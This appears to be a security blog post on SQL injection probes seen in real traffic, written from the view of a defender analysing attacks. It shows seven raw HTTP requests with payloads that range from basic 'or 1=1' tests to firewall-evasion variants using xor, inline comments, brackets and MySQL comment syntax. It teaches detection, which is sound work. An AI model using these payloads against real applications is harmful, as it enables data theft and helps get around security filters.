Working under the radar - SQL injection real life examples

When performing attack detection analysis on real application traffic, I see many interesting examples of SQL injections that I would like to share with you. I consider these examples to be an evolution in the way SQL injection payloads are being used by malicious robots.
While manual SQL injection attacks are specially crafted payloads matched to the attacked application, malicious robots use generic payloads that try to detect as many SQL vulnerabilities as possible without being detected by security filters. For this reason, we find these generic SQL injection payloads probing the application for vulnerabilities:

Example 1
As a first step, we can see requests that check if parameters accept negative integers. The parameter “productId” expects values that are positive integers. Trying to send a negative integer can result in error. Attackers try to find ‘fingerprints’ – identifying information - in these errors (such as type of SQL server, table name, field name…).


GET /product/index.jsp?productId=-40 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache


Example 2
Second step, we can see requests that check if parameters with SQL syntax characters will result in SQL errors; detecting this attack payload is almost impossible using negative security (SQL injection patterns).


GET /product/index.jsp?productId=40';",)` HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache


Example 3
Moving forward, we will see requests with a basic SQL injection payload.
A successful attack will change the expected page reply. In this case, we will get the information on all products and not only on product id number 40.

GET /product/index.jsp?productId=40 or 1=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache
Cookie: JSESSIONID=3S56LB8hpKDghLjLnS3HSH5hDptQqF1vc07fzTmQf2WERdfsdfvbDJ2pJDv3!1137355559; browser_id=94088660503; rvdata=XR7e5143501959411a0f4f1234sdf


Example 4
Now, to evade a security filter that is looking out for the kind of payload used in example 2, using the security rule, “or something=something”, we will see the following attack payload, using xor.

GET /product/index.jsp?productId=40 xor 1=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache
Cookie: JSESSIONID=3S56LB8hpKDghLjLnS3HSH5hDptQqF1vc07fzTmQf2WERdfsdfvbDJ2pJDv3!1137355559; browser_id=94088660503; rvdata=XR7e5143501959411a0f4f1234sdf


Example 5
Another approach to evading the security filter having the rule “or something=something” is to add a comment as follows:

GET /product/index.jsp?productId=40/**/or/**/1=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache
Cookie: JSESSIONID=3S56LB8hpKDghLjLnS3HSH5hDptQqF1vc07fzTmQf2WERdfsdfvbDJ2pJDv3!1137355559; browser_id=94088660503; rvdata=XR7e5143501959411a0f4f1234sdf


Example 6
Now let’s assume that comments are already being handled by the security filter. In this case, using brackets can also be used to evade the security rule.


GET /product/index.jsp?productId=40/**/or(1)=(1) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache
Cookie: JSESSIONID=3S56LB8hpKDghLjLnS3HSH5hDptQqF1vc07fzTmQf2WERdfsdfvbDJ2pJDv3!1137355559; browser_id=94088660503; rvdata=XR7e5143501959411a0f4f1234sdf


Example 7
In order to check if comments are properly handled by security filters, malicious robots try to use the comment syntax, “/*!” (When running on a MySQL server, the code within the comment is parsed and executed like any other SQL statement. Other SQL servers, however, will ignore the extensions):


GET /product/index.jsp?productId=/*! 40*/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: www.testsite.com
Cache-Control: no-cache
Cookie: JSESSIONID=3S56LB8hpKDghLjLnS3HSH5hDptQqF1vc07fzTmQf2WERdfsdfvbDJ2pJDv3!1137355559; browser_id=94088660503; rvdata=XR7e5143501959411a0f4f1234sdf


The trouble is that trying to detect these attacks based solely on negative security (searching for SQL injection pattern) is not the right concept. A better approach is a combination of negative security with “positive security” (for more information ).
To conclude, hackers that write malicious robots are more aware today of security filters (such as Web Application Firewalls) being the gateway to the web application. Therefore, we can see more and more attacks that try to evade those security filters and succeed in probing the application, while at the same time, the expectation is that those filters will do the work and detect even these evasion attempts.